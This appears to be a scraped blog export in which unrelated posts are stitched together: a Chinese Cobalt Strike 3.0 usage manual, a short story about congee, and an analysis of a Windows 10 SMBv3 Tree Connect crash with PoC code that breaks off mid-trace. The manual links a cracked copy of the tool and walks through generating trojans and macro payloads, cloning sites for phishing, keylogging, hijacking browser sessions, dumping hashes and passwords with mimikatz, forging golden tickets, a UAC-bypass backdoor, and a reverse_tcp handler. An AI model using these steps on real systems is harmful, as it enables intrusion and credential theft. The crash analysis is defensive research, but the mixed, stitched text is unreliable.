为该团体服务器的连接密码。\n服务运行以后，在客户端进行连接：\n? cobaltstrike java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $* 这里ip使用服务器的ip，端口默认50050，用户名随意，密码为之前设置的密码，然后connect,弹出验证窗口，然后点是，就进入Cobalt Strike了。\n0x02 Listeners 使用Cobalt Strike首先需要创建一个Listener,依次点击 Cobalt Strike-\u0026gt;Listeners ，然后点击Add便可以创建自己想要的Listeners了，Cobalt Strike3.0包括\nWindows/beacon_dns/reverse_dns_txt windows/beacon_dns/reverse_http windows/beacon_http/reverse_http windows/beacon_https/reverse_https windows/beacon_smb/bind_pipe windows/foreign/reverse_dns_txt windows/foreign/reverse_http windows/foreign/reverse_https windows/foreign/reverse_tcp 其中 windows/beacon* 是Cobalt Strike自带的模块，包括dns,http,https,smb四种方式的监听器， windows/foreign* 为外部监听器，即msf或者Armitage的监听器。 选择监听器以后，host会自动填写我们开启服务时的ip，配置监听端口，然后保存，监听器就创建好了。\n0x03 Attacks 创建好监听器，下面就需要配置客户端了，Cobalt Strike包括多种攻击方式，其中packages包括如下几种：\nHTML Application 生成恶意的HTA木马文件；\nMS Office Macro 生成office宏病毒文件；\nPayload Generator 生成各种语言版本的payload;\nUSB/CD AutoPlay 生成利用自动播放运行的木马文件；\nWindows Dropper 捆绑器，能够对文档类进行捆绑；\nWindows Executable 生成可执行exe木马；\nWindows Executable(S) 生成无状态的可执行exe木马。\nWeb Drive-by（钓鱼攻击）包括如下几个模块：\nManage 对开启的web服务进行管理；\nClone Site 克隆网站，可以记录受害者提交的数据；\nHost File 提供一个文件下载，可以修改Mime信息；\nPowerShe ll Web Delivery 类似于msf 的web_delivery ;\nSigned Applet Attack 使用java自签名的程序进行钓鱼攻击;\nSmart Applet Attack 自动检测java版本并进行攻击，针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本；\nsystem Profiler 用来获取一些系统信息，比如系统版本，flash版本，浏览器版本等。\nSpear Phish 是用来邮件钓鱼的模块。\n0x04 View View模块可以方便测试者查看各个模块，图形化的界面可以方便的看到受害者机器的各个信息。\nApplications 显示受害者机器的应用信息；\nCredentials 显示受害者机器的凭证信息，能更方便的进行后续渗透；\nDownloads 文件下载；\nEvent Log 可以看到事件日志，清楚的看到系统的事件,并且团队可以在这里聊天;\nKeystrokes 查看键盘记录；\nProxy Pivots 查看代理信息；\nScreenshots 查看屏幕截图；\nScript Console 在这里可以加载各种脚本以增强功能，脚本地址 戳我 ;\nTargets 查看目标；\nWeb Log 查看web日志。\n还有Reporting的功能就不介绍了，主要就是出报告用的。\n0x05 Beacon Beacon可以选择通过DNS还是HTTP协议出口网络，你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。其支持多主机连接，部署好Beacon后提交一个要连回的域名或主机的列表，Beacon将通过这些主机轮询。目标网络的防护团队必须拦截所有的列表中的主机才可中断和其网络的通讯。\n通过种种方式获取shell以后（比如直接运行生成的exe），就可以使用beacon了，右击电脑，Interact，则可打开Beacon Console;\n在beacon处输入help，则可以看到详细说明：\nbeacon\u0026gt; help Beacon commands =============== Command\tDescription -------\t----------- browserpivot\tSetup a browser pivot session bypassuac\tSpawn a session in a high integrity process cancel\tCancel a download that\u0026#39;s in-progress cd\tChange directory checkin\tCall home and post data clear\tClear beacon queue covertvpn\tDeploy Covert VPN client desktop\tView and interact with target\u0026#39;s desktop dllinject\tInject a Reflective DLL into a process download\tDownload a file downloads\tLists file downloads in progress drives\tList drives on target elevate\tTry to elevate privileges execute\tExecute a program on target exit\tTerminate the beacon session getsystem\tAttempt to get SYSTEM getuid\tGet User ID hashdump\tDump password hashes help\tHelp menu inject\tSpawn a session in a specific process jobkill\tKill a long-running post-exploitation task jobs\tList long-running post-exploitation tasks kerberos_ccache_use\tApply kerberos ticket from cache to this session kerberos_ticket_purge\tPurge kerberos tickets from this session kerberos_ticket_use\tApply kerberos ticket to this session keylogger\tInject a keystroke logger into a process kill\tKill a process link\tConnect to a Beacon peer over SMB logonpasswords\tDump credentials and hashes with mimikatz ls\tList files make_token\tCreate a token to pass credentials mimikatz\tRuns a mimikatz command mkdir\tMake a directory mode dns\tUse DNS A as data channel (DNS beacon only) mode dns-txt\tUse DNS TXT as data channel (DNS beacon only) mode http\tUse HTTP as data channel mode smb\tUse SMB peer-to-peer communication net\tNetwork and host enumeration tool note\tAssign a note to this Beacon portscan\tScan a network for open services powershe ll\tExecute a command via powershe ll powershe ll-import\tImport a powershe ll script ps\tShow process list psexec\tUse a service to spawn a session on a host psexec_psh\tUse PowerShe ll to spawn a session on a host pth\tPass-the-hash using Mimikatz pwd\tPrint current directory rev2self\tRevert to original token rm\tRemove a file or folder rportfwd\tSetup a reverse port forward runas\tExecute a program as another user screenshot\tTake a screenshot she ll\tExecute a command via c m d.exe sleep\tSet beacon sleep time socks\tStart SOCKS4a server to relay traffic socks stop\tStop SOCKS4a server spawn\tSpawn a session spawnas\tSpawn a session as another user spawnto\tSet executable to spawn processes into steal_token\tSteal access token from a process timestomp\tApply timestamps from one file to another unlink\tDisconnect from parent Beacon upload\tUpload a file wdigest\tDump plaintext credentials with mimikatz winrm\tUse WinRM to spawn a session on a host wmi\tUse WMI to spawn a session on a host 对于某个模块的使用方式可以直接使用help查看，如：\nbeacon\u0026gt; help browserpivot Use: browserpivot [pid] [x86|x64] browserpivot [stop] Setup a Browser Pivot into the specified process. To hijack authenticated web sessions, make sure the process is an Internet Explorer tab. These processes have iexplore.exe as their parent process. Use \u0026#34;browserpivot stop\u0026#34; to tear down the browser pivoting sessions associated with this Beacon. 下面主要介绍几个好玩儿的功能。这里为了能快速显示结果，可以设置\nbeacon\u0026gt;sleep 0 0x051 Browserpivot 用户注入受害者浏览器进程，然后开启HTTP代理，之后就可以登录受害者登录的网站了。\n使用方式，ps找到浏览器进程：\n注入进程：\nbeacon\u0026gt; browserpivot 3452 x64 设置本地浏览器代理：\n当受害者登录某网站账号以后，通过代理，本机浏览器同样登录该网站:\n当然当被攻击者关闭浏览器的时候，代理也就失效了，关闭此代理可使用如下命令：\nbrowserpivot stop 0x052 Socks 可以直接开启socks4a代理，可以通过代理进行内网渗透测试。\n开启socks\nbeacon\u0026gt;socks 9999 这里可以选择其中一台，右键Pivoting-\u0026gt;SOCKS Server，则使用此台计算机开启socks代理。\n配置proxychains.conf，添加\nsocks4 127.0.0.1 9999 然后就可以通过proxychains 使用各种工具做内网渗透了。\n或者直接开启隧道使用msf，依次点击View-\u0026gt;Proxy Pivots，选择Socks4a Proxy,点击Tunnel:\n复制以后，在msf中执行，则可以开启代理：\n关闭socks\nbeacon\u0026gt;socks stop 0x053 Screenshot\u0026amp;Keylogger 这里的screenshot可以截取受害者一定时间的屏幕截图，操作命令为：\nbeacon\u0026gt;screenshot [pid] \u0026lt;x86|x64\u0026gt; [run time in seconds] 或者\nbeacon\u0026gt;screenshot 然后打开View-\u0026gt;Screenshots，则可以看到屏幕截图：\n键盘记录器的使用方式为：\nUse: keylogger [pid] \u0026lt;x86|x64\u0026gt; 然后打开View-\u0026gt;Keystrokes，则可以看到键盘记录结果：\n如果不想使用命令行，可以直接选择受害者计算机（可多选），右键-\u0026gt;Explore-\u0026gt;Process List：\n0x054 powersh ell-import 这个功能在后渗透测试中很有用，可以导入各种powersh ell渗透框架，比如nishang的powerpreter，直接执行：\nbeacon\u0026gt; powershe ll-import 然后在文件浏览器里面选择 Powerpreter.psm1：\n或者直接执行：\npowershe ll-import [/path/to/local/script.ps1] 进行导入，之后就可以使用powerpreter的各种模块了。\n要执行某模块直接使用如下命令,比如：\nbeacon\u0026gt; powershe ll Check-VM 关于powerpreter之前在zone有简单的介绍， powershe ll 后渗透框架 powerpreter 。\n0x055 kerberos相关 这里一共有三个模块，分别是：\nkerberos_ccache_use :从ccache文件中导入票据 kerberos_ticket_purge :清除当前会话的票据 kerberos_ticket_use：从ticket文件中导入票据 获取黄金票据的方式比如使用mimikatz:\nkerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE 乌云关于kerberos也有相关文章，有兴趣的可以看一下：\n内网渗透中的mimikatz 域渗透的金之钥匙 据说这个在域渗透中很有用哟~\n0x056 BypassUAC 什么，你不能读密码？试试bypassuac吧~\n直接执行\nbeacon\u0026gt; bypassuac 下面你就可以执行那些需要最高权限的操作了。\n这一块在测试Win10的时候并没有成功，关于Win10的bypassuac我在博客里面也有相关介绍，详情: 戳我呀\n在这里就演示使用bypassuac的powersh ell脚本来获取Win10最高权限，由于nishang的powersh ell脚本现在并不支持Win10,所以这里使用了一个我修改的powersh ell脚本 invoke-BypassUAC.ps1\n生成一个beacon后门：\n上传后门：\nbeacon\u0026gt; cd E: beacon\u0026gt; upload /Users/evi1cg/Desktop/test.exe 加载powersh ell执行后门：\nbeacon\u0026gt; powersh ell-import /Users/evi1cg/Pentest/Powershe ll/MyShe ll/invoke-BypassUAC.ps1 beacon\u0026gt; powersh ell Invoke-BypassUAC -Command \u0026#39;E:\\test.exe\u0026#39; 然后他就破了：\n使用那个破了的电脑的beacon读取密码：\nbeacon\u0026gt; sleep 0 beacon\u0026gt; wdigest beacon\u0026gt; hashdump 0x06 与msf联动 cobalt strike3.0 不再使用Metasploit框架而作为一个独立的平台使用，那么怎么通过cobalt strike获取到meterpreter呢，别担心，可以做到的。 首先我们使用msf的reverse_tcp开启监听模式：\nmsf \u0026gt; use exploit/multi/handler msf exploit(handler) \u0026gt; set payload windows/meterpreter msf exploit(handler) \u0026gt; set payload windows/meterpreter/reverse_tcp payload =\u0026gt; windows/meterpreter/reverse_tcp msf exploit(handler) \u0026gt; set lhost 192.168.74.1 lhost =\u0026gt; 192.168.74.1 msf exploit(handler) \u0026gt; set lport 5555 lport =\u0026gt; 5555 msf exploit(handler) \u0026gt; exploit -j 之后使用Cobalt Strike创建一个windows/foreign/reverse_tcp Listener：\n其中ip为msf的ip地址，端口为msf所监听的端口。然后选中计算机，右键-\u0026gt;Spawn:\n选择刚刚创建的监听器：\n可以看到成功获取了meterpreter回话：\n0x07 小结 此次测试使用 windows/beacon_http/reverse_http 来进行，具体DNS的监听器请参考luom所写 Cobalt Strike 之团队服务器的搭建与DNS通讯演示 ，本篇文章只是介绍了Cobalt Strike的部分功能，如有错误，请各位大牛指正，关于Cobalt Strike其他的功能小伙伴们可以自己研究，如果可能的话，我也会对其进行补充。希望对各位小伙伴有用。\n本文由evi1cg原创并首发于乌云drops，转载请注明\n","permalink":"https://www.lucien116.com/archives/255/","summary":"\u003ch2 id=\"0x00-简介\"\u003e0x00 简介\u003c/h2\u003e\n\u003cp\u003eCobalt Strike 一款以metasploit为基础的GUI的框架式渗透工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，Java木马生成，Office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用，当然可以结合Armitage进行使用。这里有一个破解版：\u003c/p\u003e\n\u003cp\u003e下载地址： 戳我 (自行验证其安全性)\u003c/p\u003e\n\u003cp\u003eCobalt Strike 3.0 延用了其强大的团体服务器功能，能让多个攻击者同时连接到团体服务器上，共享攻击资源与目标信息和sessions。当然，在使用Cobalt Strike之前，需要安装java环境，具体怎么配置，请移步[java language=\u0026ldquo;环境搭建\u0026rdquo;][/java] /java 3 。\u003c/p\u003e\n\u003ch2 id=\"0x01-运行\"\u003e0x01 运行\u003c/h2\u003e\n\u003cp\u003e与之前版本的 Cobalt Strike不同， Cobalt Strike3.0需要开启团体服务器才可以链接使用，当然，这个服务器可以放到公网环境下，或者放到自己想要搭建此服务的环境中。 下载好Cobalt Strike以后包含以下几个文件：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://img4.07net01.com/upload/images/2015/11/14/1750376141809352.png\"\u003e\u003c/p\u003e\n\u003cp\u003e其中关键的文件是teamserver以及cobaltstrike.jar，将这两个文件放到服务器上同一个目录，然后运行：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e?  cobaltstrike  sudo ./teamserver 192.168.74.1 msf3\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://img4.07net01.com/upload/images/2015/11/14/1750376141809353.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这里为了方便使用，最好使用具体的IP地址，而不是0.0.0.0或者127.0.0.1, 如果有多个网卡，使用你要用的那个ip地址即可， \u003ccode\u003emsf3\u003c/code\u003e 为该团体服务器的连接密码。\u003c/p\u003e\n\u003cp\u003e服务运行以后，在客户端进行连接：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e?  cobaltstrike  java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $*\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://img4.07net01.com/upload/images/2015/11/14/1750376141809354.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这里ip使用服务器的ip，端口默认50050，用户名随意，密码为之前设置的密码，然后connect,弹出验证窗口，然后点是，就进入Cobalt Strike了。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://img4.07net01.com/upload/images/2015/11/14/1750376141809355.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"0x02-listeners\"\u003e0x02 Listeners\u003c/h2\u003e\n\u003cp\u003e使用Cobalt Strike首先需要创建一个Listener,依次点击 Cobalt Strike-\u0026gt;Listeners ，然后点击Add便可以创建自己想要的Listeners了，Cobalt Strike3.0包括\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eWindows/beacon_dns/reverse_dns_txt\u003c/li\u003e\n\u003cli\u003ewindows/beacon_dns/reverse_http\u003c/li\u003e\n\u003cli\u003ewindows/beacon_http/reverse_http\u003c/li\u003e\n\u003cli\u003ewindows/beacon_https/reverse_https\u003c/li\u003e\n\u003cli\u003ewindows/beacon_smb/bind_pipe\u003c/li\u003e\n\u003cli\u003ewindows/foreign/reverse_dns_txt\u003c/li\u003e\n\u003cli\u003ewindows/foreign/reverse_http\u003c/li\u003e\n\u003cli\u003ewindows/foreign/reverse_https\u003c/li\u003e\n\u003cli\u003ewindows/foreign/reverse_tcp\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e其中 \u003ccode\u003ewindows/beacon*\u003c/code\u003e 是Cobalt Strike自带的模块，包括dns,http,https,smb四种方式的监听器， \u003ccode\u003ewindows/foreign*\u003c/code\u003e 为外部监听器，即msf或者Armitage的监听器。 选择监听器以后，host会自动填写我们开启服务时的ip，配置监听端口，然后保存，监听器就创建好了。\u003c/p\u003e","title":"Cobalt Strike3.0使用手册"},{"content":"Part.1 从前有个女孩，有一天生病了。 有一个男孩便在她家楼下买了一碗粥给她吃。 她那时觉得这碗粥是全世界最好吃的粥。 第二天，女孩看到装粥的袋子。 不相信是在楼下那间铺子买的。 于是决定再去楼下吃一次。\nPart.2 女孩来到粥铺，发现今天的粥好难吃。 她对自己说，没道理的。 昨天那碗粥要么是那个男孩在别家铺子买的，也可能是他亲手煮的。 她甚至很讨厌铺子里面正在吃粥的人。 于是从那天开始，她就每天坚持都要吃粥。 与此同时，也会感到迷惑。 究竟所有的粥，艇仔、猪红、牛肉粥。 其实都是一样的味道呀。 还是每一碗艇仔粥的味道，都是不一样的呢？\nPart.3 终于，这个女孩尝遍了所有粥铺的粥。 都没有吃出像最初那碗粥那样的美味。 还越吃越难吃。 没有胃口之后，她忽然明白了。 有粥食粥，有饭食饭。 不一定要和别人争着吃粥。 就算不吃饭都可以吃面。 还可以吃道亭面呀，啖啖面呀。 如果还不行，吃Angle hair都可以啊。\n这个故事告诉我们，生病的时候，粥不只是一碗粥。 但是病愈之后，粥只是一碗粥。 可以吃，可以不吃。 当然，粥并不可以乱吃。 不要以为，食粥不会上瘾啊。\n","permalink":"https://www.lucien116.com/archives/252/","summary":"\u003ch2 id=\"part1\"\u003ePart.1\u003c/h2\u003e\n\u003cp\u003e从前有个女孩，有一天生病了。\n有一个男孩便在她家楼下买了一碗粥给她吃。\n她那时觉得这碗粥是全世界最好吃的粥。\n第二天，女孩看到装粥的袋子。\n不相信是在楼下那间铺子买的。\n于是决定再去楼下吃一次。\u003c/p\u003e\n\u003ch2 id=\"part2\"\u003ePart.2\u003c/h2\u003e\n\u003cp\u003e女孩来到粥铺，发现今天的粥好难吃。\n她对自己说，没道理的。\n昨天那碗粥要么是那个男孩在别家铺子买的，也可能是他亲手煮的。\n她甚至很讨厌铺子里面正在吃粥的人。\n于是从那天开始，她就每天坚持都要吃粥。\n与此同时，也会感到迷惑。\n究竟所有的粥，艇仔、猪红、牛肉粥。\n其实都是一样的味道呀。\n还是每一碗艇仔粥的味道，都是不一样的呢？\u003c/p\u003e\n\u003ch2 id=\"part3\"\u003ePart.3\u003c/h2\u003e\n\u003cp\u003e终于，这个女孩尝遍了所有粥铺的粥。\n都没有吃出像最初那碗粥那样的美味。\n还越吃越难吃。\n没有胃口之后，她忽然明白了。\n有粥食粥，有饭食饭。\n不一定要和别人争着吃粥。\n就算不吃饭都可以吃面。\n还可以吃道亭面呀，啖啖面呀。\n如果还不行，吃Angle hair都可以啊。\u003c/p\u003e\n\u003cp\u003e这个故事告诉我们，生病的时候，粥不只是一碗粥。\n但是病愈之后，粥只是一碗粥。\n可以吃，可以不吃。\n当然，粥并不可以乱吃。\n不要以为，食粥不会上瘾啊。\u003c/p\u003e","title":"一个食粥的故事"},{"content":"作者： k0shl\n作者博客： http://whereisk0shl.top\n前言 我是菜鸟，大牛轻喷……\n这个SMBv3漏洞是由lgandx爆出的一个未被微软修复的漏洞（暂未发布补丁），漏洞出来后我进行了一定的分析，花了很多时间，这个漏洞有一些意思，但是对于SMB的整个协议通信过程非常庞大，所以没有进行非常细致的跟踪，包括一些不透明的结构体让我感到晕头转向，但到最后还是有了一些结果。\n这个SMB漏洞可以看作是被动的，需要用户主动去访问445端口才可以触发，而不像ms08067一样主动攻击别人，所以需要运行漏洞脚本在操作系统上。\n终于赶在元宵节这天完成了这个任务，也在这里，祝大家元宵节快乐（不知道文章发布的时候过没过元宵节23333）！\n这个漏洞在twitter爆出来之后，很多老外也在微博下面问是否可以RCE，包括国内的预警中也有人问到。\nhttp://bobao.360.cn/learning/detail/3451.html http://www.freebuf.com/vuls/126100.html\n那么很多人看到PoC中的关键部分，就会想：有填充数据，会不会是缓冲区溢出！\n## Tree Connect if data[16:18] == \u0026#34;\\x03\\x00\u0026#34;: head = SMBv2Header(Cmd=\u0026#34;\\x03\\x00\u0026#34;, MessageId=GrabMessageID(data), PID=\u0026#34;\\xff\\xfe\\x00\\x00\u0026#34;, TID=\u0026#34;\\x01\\x00\\x00\\x00\u0026#34;, CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus=\u0026#34;\\x00\\x00\\x00\\x00\u0026#34;, SessionID=GrabSessionID(data)) t = SMB2TreeData(Data=\u0026#34;C\u0026#34;*1500)#//BUG packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 print \u0026#34;[*]Triggering Bug; Tree Connect SMBv2 packet sent.\u0026#34; self.request.send(buffer1) data = self.request.recv(1024) 答案是否定的，至少在我看来，大量的数据目的并非是为了填充缓冲区，而是为了绕过tcpip.sys的某处判断，从而进入漏洞出发的函数调用逻辑。\n问题出现在smbv2后的一个特性Tree Connect，用来处理共享服务的特性，opcode：0x03，而整个问题，确是多个地方导致的。下面我们就一起来进入今天的旅程吧！\nGithub地址： https://github.com/lgandx/PoC/tree/master/SMBv3%20Tree%20Connect\n漏洞复现 首先，网上关于这个漏洞的触发方法有很多，比较通用的是twitter中某老外提到的Powershell的方法，最为简单，首先我们调试的环境是：Windows 10 x64 build 1607\n接下来我们在kali2.0里运行漏洞脚本。\n随后执行\u0026quot;dir \\ip\\PATH\u0026quot;，漏洞触发，通过windbg双机联调，此时捕捉到了BSOD。\n可以看到提示此时问题出现在mrxsmb20.sys中，问题函数是Smb2ValidateNegotiateInfo，来看一下触发位置的代码。\nkd\u0026gt; p mrxsmb20!Smb2ValidateNegotiateInfo+0x17: fffff803`1869c7d7 66394114 cmp word ptr [rcx+14h],ax kd\u0026gt; r rcx rcx=0x00000000`00000000 此时rcx的值为0x0，是一处无效地址，因此这是由于空指针引用导致的BSOD，接下来继续执行可以看到Windows 10引发蓝屏。\n回溯及数据包分析(important!) 我们来看一下mrxsmb20.sys关于Tree Connect特性的一些内容，代码逻辑相对简单。\n可以看到执行到Smb2ValidateNegotiateInfo函数有两条逻辑调用，一个是Smb2TreeConnect_CopyData，一个是Smb2TreeConnect_Receive，这里我就把我回溯的结果和大家分享一下，首先，通过Smb2TreeConnect_Receive来接收smb的Tree Connect数据，这个是通过opcode来决定的。\n正常情况下不会进入Smb2TreeConnect_CopyData，但一旦由不正常（后面会提到）数据包执行，则会在Receive之后进入CopyData函数的处理逻辑，从而引发漏洞。\n这里数据包分析很关键，因为在漏洞触发过程中，就是由于数据包的问题导致的。\n来看一下Smb最关键的这个数据包。\n来看一下Smb头部的协议格式。\n在协议格式中Opcode指示smb类型\n注意数据包中对应位置，opcode值是0x03，就是tree connect的处理。同时这里在后面分析中我们要用到，注意Data数据之前的长度。其中包含了NetBIOS Session Service 4字节，和 SMB2 Header ＋ Tree Connect Body 80字节，以及 Data n字节。这个非常重要，后续分析我们会用到。\n漏洞分析 刚开始，我天真的以为是CopyData引发的某些异常，后来发现我错了，其实这个漏洞可以看成利用tcpip.sys中的某些逻辑特性，以及mrxsmb20.sys中对于相关结构的检查不够严格导致的空指针引用BSOD，而整个漏洞形成，我是利用正常和不正常的对比才终于发现。在分析的过程中，大量不透明的结构体引用让我有点尴尬，期待更熟悉SMB的大牛能够继续丰富分析。\n正常的SMB2 Tree Connect包是不会触发异常的。\n首先我们来看一下正常的逻辑调用，关键函数在tcpip.sys中的TcpDeliverDataToClient，这个函数负责处理接收到的数据包，在一个while(1)循环中。\nchar __fastcall TcpDeliverDataToClient(PKSPIN_LOCK SpinLock, KSPIN_LOCK *a2, _QWORD *a3, _QWORD **a4) { while ( 1 ) { …… v22 = (unsigned int)vars30; v23 = TcpIndicateData(v7, v6, v5, \u0026amp;v72); v24 = v71; if ( !(v6[3] + v6[4]) ) break; …… 在这个循环中，刚进入循环位置有一个if语句，后面我们会提到，在接收到TreeConnect包之后，不会进入if语句，而是执行下面的函数调用，在TcpIndicateData函数内部会调用到之前提到的Smb2TreeConnect_Receive，注意这一切现在都是在我们发送一个正常数据包时完成的。（接下来我们会分析到为什么是正常的）\n在这个函数入口下条件断点。\nkd\u0026gt; bp tcpip!TcpDeliverDataToClient \u0026#34;.if(poi(rbx+20)==0x1E4){;}.else{g;}\u0026#34; kd\u0026gt; g tcpip!TcpDeliverDataToClient: fffff801`f18017a0 4055 push rbp kd\u0026gt; dd rbx+20 L1 ffffb304`06865c58 000001e4 命中时，rbx会存放一个结构体，这个结构体按照IDA的反馈来看是一个KSPIN_LOCK自旋锁，windows内核同步处理的一种机制，这个暂且不管，注意一下rbx结构体＋20位置的值，是1e4，这个值转换成10进制就是484，正好是我们发送的400个C的Data数据加刚才我们提到的头部84字节的长度。\n接下来进入TcpIndicateData函数后会命中Smb2TreeConnect_Receive函数开始进行接收处理。\nkd\u0026gt; p tcpip!TcpDeliverDataToClient+0x209: fffff801`f18019a9 e8e2810100 call tcpip!TcpIndicateData (fffff801`f1819b90) kd\u0026gt; dd rbx ffffb304`06865c38 aa9ce398 fffff801 00000000 00000000 ffffb304`06865c48 00000000 00000000 00000000 00000000 ffffb304`06865c58 000001e4 00000000 00000000 00000000 ffffb304`06865c68 00000000 00000000 00000000 00000000 ffffb304`06865c78 06865c60 ffffb304 00000000 00000000 ffffb304`06865c88 00000000 00000000 00000000 00000000 ffffb304`06865c98 00000000 00000000 00000000 00000000 ffffb304`06865ca8 00000000 00000000 00000000 00000001 kd\u0026gt; p Breakpoint 1 hit mrxsmb20!Smb2TreeConnect_Receive: fffff801`f3fbc4b0 48895c2420 mov qword ptr [rsp+20h],rbx 处理过程很长，这里我直接略过，在处理结束后会多层ret后返回到TcpDeliverDataToClient函数中，仍然处于while循环中。\nkd\u0026gt; bp tcpip!TcpIndicateData+0x268 kd\u0026gt; g Breakpoint 3 hit tcpip!TcpIndicateData+0x268: fffff80a`72c39df8 c3 ret kd\u0026gt; p tcpip!TcpDeliverDataToClient+0x20e: fffff80a`72c219ae 833defa51a0001 cmp dword ptr [tcpip!MICROSOFT_TCPIP_PROVIDER_Context+0x24 (fffff80a`72dcbfa4)],1 kd\u0026gt; p tcpip!TcpDeliverDataToClient+0x215: fffff80a`72c219b5 448bf0 mov r14d,eax 这里我列举一下返回过程的逐层调用逻辑，因为kb回溯不到。Smb2TreeConnect_Receive -\u0026gt; SmbReceiveInd -\u0026gt; VctIndRecv -\u0026gt; SmbWskReceiveEvent -\u0026gt; afd!WskProTLEventReceive -\u0026gt; tcpip!TcpIndicateData -\u0026gt; tcpip!TcpDeliverDataToClient。\n接下来就是关键了，首先会执行一处sub汇编指令。\nkd\u0026gt; p tcpip!TcpDeliverDataToClient+0x2b9: fffff80a`72c21a59 48297b20 sub qword ptr [rbx+20h],rdi kd\u0026gt; r rdi rdi=00000000000001e4 kd\u0026gt; dd rbx+20 L1 ffffc10c`9fe79e78 000001e4 这个相减之后，会将rbx结构体对应的长度变成0，随后，会到达一处cmp操作，这处cmp操作会将这个值作为一个判断条件。\nkd\u0026gt; p tcpip!TcpDeliverDataToClient+0x2de: fffff80a`72c21a7e 4c896b48 mov qword ptr [rbx+48h],r13 kd\u0026gt; p tcpip!TcpDeliverDataToClient+0x2e2: fffff80a`72c21a82 488b4320 mov rax,qword ptr [rbx+20h] kd\u0026gt; dd rbx+18 L1 ffffc10c`9fe79e70 00000000 kd\u0026gt; dd rbx+20 L1 ffffc10c`9fe79e78 00000000 kd\u0026gt; p tcpip!TcpDeliverDataToClient+0x2e6: fffff80a`72c21a86 48034318 add rax,qword ptr [rbx+18h] kd\u0026gt; p tcpip!TcpDeliverDataToClient+0x2ea: fffff80a`72c21a8a 0f858dfeffff jne tcpip!TcpDeliverDataToClient+0x17d (fffff80a`72c2191d) kd\u0026gt; p tcpip!TcpDeliverDataToClient+0x2f0: fffff80a`72c21a90 48837e2000 cmp qword ptr [rsi+20h],0 来看一下这一段伪代码。\nwhile ( 1 ) { v70 = v10; v69 = TcpSatisfyReceiveRequests(v7); if ( v24 \u0026gt;= v23 ) { } else { v25 = (char *)ReceiveDpcTable + 24 * v21; v26 = v23 - v24; v27 = v7[2]; v70 = v26; *(_QWORD *)(*(_QWORD *)(v27 + 128) + (v21 \u0026lt;\u0026lt; 7) + 56) -= v24; v28 = *((_DWORD *)v25 + 5); if ( v28 \u0026amp; 1 ) *((_DWORD *)v25 + 5) = v28 | 4; else TcpStartRcvWndTuningTimer(vars38); v6[4] -= v26; v29 = v6[9]; v6[3] = 0i64; if ( v26 + v29 ) { TcpAdvanceTcbRcvWnd(v7, (unsigned int)(v26 + *((_DWORD *)v6 + 18))); v6[9] = 0i64; } else { v6[9] = 0i64; } } if ( !(v6[3] + v6[4]) ) break; 在伪代码最后的位置，会对两个值进行判断，如果两个值之和为0，则条件成立，程序会跳出循环，刚才的跟踪我们可以发现，v6就是结构体，v6[4]的值来源于它自身减v26，而v26就是它自身，最后它的值为0，而刚才跟踪v6[3]的值也为0（如果知道结构体就好清楚v6到底是什么了T.T）。\n经过对比调试，发现在正常的处理SMB Tree Connect包和触发BSOD的不正常情况下有一处关键的跳转逻辑，这里是一处if语句判断，成立则break跳出while循环，不成立，会继续执行。\n那么不正常的情况呢？之前的处理和之前的分析一样，我们加大Data的值到1200，但是在返回后。\nkd\u0026gt; p tcpip!TcpDeliverDataToClient+0x2b9: fffff80a`72c21a59 48297b20 sub qword ptr [rbx+20h],rdi kd\u0026gt; r rdi rdi=0000000000000404 kd\u0026gt; dd rbx+20 ffffc10c`a0643e78 00000504 显而易见，在我们加大Data长度的时候，到相减位置结构体对应位置的值是504，也就是1284，正好是Data的长度1200字节 ＋ 刚才分析到的84字节，而此时rdi的值只有0x404，也就是944长度，这是一个Max值，如果Data长度超过0x404，这里会认为还有数据，因此相减后v6[4]的值不为0。\nkd\u0026gt; p tcpip!TcpDeliverDataToClient+0x2bd: fffff80a`72c21a5d 4533ed xor r13d,r13d kd\u0026gt; dd rbx+20 ffffc10c`a0643e78 00000100 这造成了一个问题，就是刚才到的break位置由于v6[4]不为0，所以不执行break，而是进入后续的处理。\nkd\u0026gt; p tcpip!TcpDeliverDataToClient+0x2e2: fffff80a`72c21a82 488b4320 mov rax,qword ptr [rbx+20h] kd\u0026gt; p tcpip!TcpDeliverDataToClient+0x2e6: fffff80a`72c21a86 48034318 add rax,qword ptr [rbx+18h] kd\u0026gt; p tcpip!TcpDeliverDataToClient+0x2ea: fffff80a`72c21a8a 0f858dfeffff jne tcpip!TcpDeliverDataToClient+0x17d (fffff80a`72c2191d) kd\u0026gt; p tcpip!TcpDeliverDataToClient+0x17d: fffff80a`72c2191d 49833f00 cmp qword ptr [r15],0 kd\u0026gt; p tcpip!TcpDeliverDataToClient+0x181: 